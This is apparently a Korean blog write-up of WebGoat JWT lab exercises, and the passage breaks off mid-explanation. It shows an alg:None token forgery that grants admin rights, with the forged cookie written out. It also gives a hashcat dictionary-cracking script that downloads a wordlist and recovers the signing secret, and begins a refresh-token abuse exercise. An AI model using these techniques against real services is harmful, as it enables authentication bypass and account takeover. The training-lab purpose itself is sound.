&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 볼 부분은 admin claims이 true여야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 JWTsms Signature 부분을 통해 무결성 검증을 수행하기에 함부로 바꿀 수도 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떻게 하면 좋을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 클라이언트로부터 전달받은 JWT 값을 처리할 때 안전하지 않은 메서드를 사용할 경우 해커는 JWT Header에 존재하는 암호화 알고리즘을 None으로 수정해 암호화하지 않는 JWT인척 변조하여 인증 우회를 시도해볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://base64.guru/standards/base64url/encode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;base64 URL Encoding을 하는 사이트&lt;/a&gt;에 들어가서 JWT의 헤더 부분을 바꿔보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.02.17.png&quot; data-origin-width=&quot;1040&quot; data-origin-height=&quot;573&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pIKKx/dJMcaawQBkx/HWpky7MkWvQUhBL0JkdFaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pIKKx/dJMcaawQBkx/HWpky7MkWvQUhBL0JkdFaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pIKKx/dJMcaawQBkx/HWpky7MkWvQUhBL0JkdFaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpIKKx%2FdJMcaawQBkx%2FHWpky7MkWvQUhBL0JkdFaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1040&quot; height=&quot;573&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.02.17.png&quot; data-origin-width=&quot;1040&quot; data-origin-height=&quot;573&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 jwt.io로 돌아와 변환한 eyJhbGciOiAiTm9uZSJ9 값을 헤더에 다시 박아주고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;헤더 부분 admin claims를 ture로 변환한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.04.01.png&quot; data-origin-width=&quot;1040&quot; data-origin-height=&quot;573&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q3CX1/dJMcacIcqhj/5vIsmCEaPBDMakOcwHIrh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q3CX1/dJMcacIcqhj/5vIsmCEaPBDMakOcwHIrh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q3CX1/dJMcacIcqhj/5vIsmCEaPBDMakOcwHIrh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq3CX1%2FdJMcacIcqhj%2F5vIsmCEaPBDMakOcwHIrh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1040&quot; height=&quot;573&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.04.01.png&quot; data-origin-width=&quot;1040&quot; data-origin-height=&quot;573&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 Signautre를 삭제해야 한다. header 부분 암호화 알고리즘이 None기 때문에 암호화된 데이터가 대입되는 Signature 역시 없는게 맞다. 하지만, Payload와 Signautre 부분을 구분해 주는 온점은 남아있어야 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.06.18.png&quot; data-origin-width=&quot;1213&quot; data-origin-height=&quot;573&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjW6sK/dJMcacOXW6O/O8rMgVwixO5IHiKbZFn3Qk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjW6sK/dJMcacOXW6O/O8rMgVwixO5IHiKbZFn3Qk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjW6sK/dJMcacOXW6O/O8rMgVwixO5IHiKbZFn3Qk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjW6sK%2FdJMcacOXW6O%2FO8rMgVwixO5IHiKbZFn3Qk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1213&quot; height=&quot;573&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.06.18.png&quot; data-origin-width=&quot;1213&quot; data-origin-height=&quot;573&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 문제로 들어가서 휴지통 아이콘을 클릭하며 투표 초기화를 수행하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cookie값을 eyJhbGciOiAiTm9uZSJ9.eyJpYXQiOiAxNzYzNDg0NjQzLCJhZG1pbiI6ICJ0cnVlIiwidXNlciI6ICJTeWx2ZXN0ZXIifQ.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로 바꿔주면 문제가 풀린다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.08.42.png&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;467&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHW6YG/dJMcahpcJCK/Hsgz6SktWx7XNuyzcemETk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHW6YG/dJMcahpcJCK/Hsgz6SktWx7XNuyzcemETk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHW6YG/dJMcahpcJCK/Hsgz6SktWx7XNuyzcemETk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHW6YG%2FdJMcahpcJCK%2FHsgz6SktWx7XNuyzcemETk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1106&quot; height=&quot;467&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.08.42.png&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;467&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.08.18.png&quot; data-origin-width=&quot;1234&quot; data-origin-height=&quot;752&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dnduxX/dJMcadtzt6v/yKl69XRLImSXXTDlElYweK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dnduxX/dJMcadtzt6v/yKl69XRLImSXXTDlElYweK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dnduxX/dJMcadtzt6v/yKl69XRLImSXXTDlElYweK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdnduxX%2FdJMcadtzt6v%2FyKl69XRLImSXXTDlElYweK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1234&quot; height=&quot;752&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.08.18.png&quot; data-origin-width=&quot;1234&quot; data-origin-height=&quot;752&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10번문제다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.17.03.png&quot; data-origin-width=&quot;1249&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CxuGE/dJMcahvYhig/nuOYyJBHyopjTpmkuEKkT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CxuGE/dJMcahvYhig/nuOYyJBHyopjTpmkuEKkT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CxuGE/dJMcahvYhig/nuOYyJBHyopjTpmkuEKkT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCxuGE%2FdJMcahvYhig%2FnuOYyJBHyopjTpmkuEKkT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1249&quot; height=&quot;672&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.17.03.png&quot; data-origin-width=&quot;1249&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JWT Cracking이라는 문제인데, Signature를 때려 맞추는 Brute-Forcing Attack 유형의 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burte-Forcing에서도 Dictonary Attack이라고 생각하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사전에 있는 문자열을 무작위로 대입하는 공격 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 문제에 보이는 해당 JWT를 txt파일로 저장해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.20.06.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bChLTr/dJMcajAyvT9/QEulcxdhKoCVf39yfj4TpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bChLTr/dJMcajAyvT9/QEulcxdhKoCVf39yfj4TpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bChLTr/dJMcajAyvT9/QEulcxdhKoCVf39yfj4TpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbChLTr%2FdJMcajAyvT9%2FQEulcxdhKoCVf39yfj4TpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1196&quot; height=&quot;136&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.20.06.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dictonary Attack 공격 방식은 사전 문자열이 필요한데, &lt;br /&gt;wget으로 &lt;a href=&quot;https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-words.txt&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-words.txt&lt;/a&gt; 를 다운받아 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hashcat을 이용해 명령어를 실행할거다.&lt;/p&gt;
&lt;pre id=&quot;code_1762622561509&quot; class=&quot;angelscript&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hashcat hash.txt -a 3 -m 16500 raft-small-words.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;귀찮고, 문제만 풀고 싶은 사람은 이 텍스트를 .sh 확장자로 저장하고 실행하면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1762622755326&quot; class=&quot;awk&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;apt update &amp;amp;&amp;amp; apt install -y wget hashcat
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-words.txt
echo &quot;eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc2MjYxOTc2NSwiZXhwIjoxNzYyNjE5ODI1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.wCt5lJQm_rdqHa4fj-ziHdPrAHK0ySsI9BjtTOZqKjE&quot; &amp;gt; hash.txt
hashcat hash.txt -a 3 -m 16500 raft-small-words.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.26.25.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RFqZC/dJMb99LtsDI/KNDZI2rA4SS9FvXk3J5r7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RFqZC/dJMb99LtsDI/KNDZI2rA4SS9FvXk3J5r7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RFqZC/dJMb99LtsDI/KNDZI2rA4SS9FvXk3J5r7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRFqZC%2FdJMb99LtsDI%2FKNDZI2rA4SS9FvXk3J5r7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1196&quot; height=&quot;136&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.26.25.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;washington이라는 문구가 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.30.59.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;759&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oSQPU/dJMcadmNRxU/4zKbDHMakHriwitNgiay01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oSQPU/dJMcadmNRxU/4zKbDHMakHriwitNgiay01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oSQPU/dJMcadmNRxU/4zKbDHMakHriwitNgiay01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoSQPU%2FdJMcadmNRxU%2F4zKbDHMakHriwitNgiay01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1196&quot; height=&quot;759&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.30.59.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;759&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 값을 secret에 넣어주면 풀려야 하는데 안풀린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;why? 이건 좀 더 보고 수정해 놓겠슴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12번&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.49.24.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;898&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/npFIL/dJMcaj8owp9/5AW7ZTsF0aq98mzntjzcy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/npFIL/dJMcaj8owp9/5AW7ZTsF0aq98mzntjzcy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/npFIL/dJMcaj8owp9/5AW7ZTsF0aq98mzntjzcy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnpFIL%2FdJMcaj8owp9%2F5AW7ZTsF0aq98mzntjzcy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1196&quot; height=&quot;898&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.49.24.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;898&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tom의 계정으로 쇼핑하면 되는 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Checkout 버튼을 눌러보면&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.50.48.png&quot; data-origin-width=&quot;1110&quot; data-origin-height=&quot;295&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqZr69/dJMcafkCy97/hWcS9ytbAvhiMNdEmmKjh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqZr69/dJMcafkCy97/hWcS9ytbAvhiMNdEmmKjh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqZr69/dJMcafkCy97/hWcS9ytbAvhiMNdEmmKjh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqZr69%2FdJMcafkCy97%2FhWcS9ytbAvhiMNdEmmKjh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1110&quot; height=&quot;295&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.50.48.png&quot; data-origin-width=&quot;1110&quot; data-origin-height=&quot;295&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Authorization이 Bearer null로 되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제에 보면 힌트가 있는데 힌트인 Logfile을 참고해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.51.42.png&quot; data-origin-width=&quot;1271&quot; data-origin-height=&quot;178&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rUflI/dJMcagRmHLo/RYNQDsRgv8sfzCAlBu7xz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rUflI/dJMcagRmHLo/RYNQDsRgv8sfzCAlBu7xz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rUflI/dJMcagRmHLo/RYNQDsRgv8sfzCAlBu7xz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrUflI%2FdJMcagRmHLo%2FRYNQDsRgv8sfzCAlBu7xz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1271&quot; height=&quot;178&quot; data-filename=&quot;스크린샷 2025-11-09 오전 2.51.42.png&quot; data-origin-width=&quot;1271&quot; data-origin-height=&quot;178&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Get요청으로 /JWT/refresh/checkout?token=&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 있는걸 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 decode도 되지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exp claims를 보면 만료된 토큰을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 3.04.07.png&quot; data-origin-width=&quot;1173&quot; data-origin-height=&quot;799&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxZorw/dJMcab3ANiq/2NHdM3FENW2Ob4Bje0YKi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxZorw/dJMcab3ANiq/2NHdM3FENW2Ob4Bje0YKi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxZorw/dJMcab3ANiq/2NHdM3FENW2Ob4Bje0YKi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxZorw%2FdJMcab3ANiq%2F2NHdM3FENW2Ob4Bje0YKi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1173&quot; height=&quot;799&quot; data-filename=&quot;스크린샷 2025-11-09 오전 3.04.07.png&quot; data-origin-width=&quot;1173&quot; data-origin-height=&quot;799&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 3.02.15.png&quot; data-origin-width=&quot;759&quot; data-origin-height=&quot;485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xU2DU/dJMcabbr6I6/lbuJliHL9K5EDkbXCCvag0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xU2DU/dJMcabbr6I6/lbuJliHL9K5EDkbXCCvag0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xU2DU/dJMcabbr6I6/lbuJliHL9K5EDkbXCCvag0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxU2DU%2FdJMcabbr6I6%2FlbuJliHL9K5EDkbXCCvag0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;759&quot; height=&quot;485&quot; data-filename=&quot;스크린샷 2025-11-09 오전 3.02.15.png&quot; data-origin-width=&quot;759&quot; data-origin-height=&quot;485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서비스 개발자는 jwt가 만료되었을 때 사용자가 다시 로그인하는 불편함을 겪지 않도록 갱신 기능을 제공해 주는데, 이를 위해 Refresh token을 발행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
